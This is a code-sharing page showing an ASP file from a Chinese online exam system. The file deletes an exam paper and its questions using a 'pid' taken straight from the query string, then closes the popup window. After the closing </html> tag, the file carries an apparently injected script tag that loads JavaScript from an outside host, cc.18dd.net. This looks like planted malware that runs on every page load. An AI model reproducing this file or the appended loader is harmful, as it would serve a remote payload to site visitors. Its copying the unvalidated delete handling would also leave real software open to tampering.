paperdel.asp

来自「通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务」· ASP 代码 · 共 28 行

ASP

28 行

<!--#include File="isAdmin.asp"-->
<!--#include file="../class/EPaper.asp"-->
<!--#include file="../class/EPaperList.asp"-->
<html>
<head>
<title>删除试卷信息</title>
</head>
<body>
<%
  '读取变量
  Dim pid
  Set pa = New EPaper
  Set ls = New EPaperList
  pid = Request.QueryString("pid")
  '从EPaper表中删除该试卷信息
  pa.DeletePaper(pid)
  '从EPaperList表中删除该试卷试题信息
  ls.DeleteList(pid)
  Response.Write "<h3>成功删除试题信息！</h3>"
%>
</body>
<script language="javascript">
  // 刷新父级窗口，延迟此关闭
  opener.location.reload();
  setTimeout("window.close()",800);
</script>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码Ctrl + C

搜索代码Ctrl + F

全屏模式F11

增大字号Ctrl + =

减小字号Ctrl + -

显示快捷键?

paperdel.asp

paperdel.asp - 源码说明

⌨️ 快捷键说明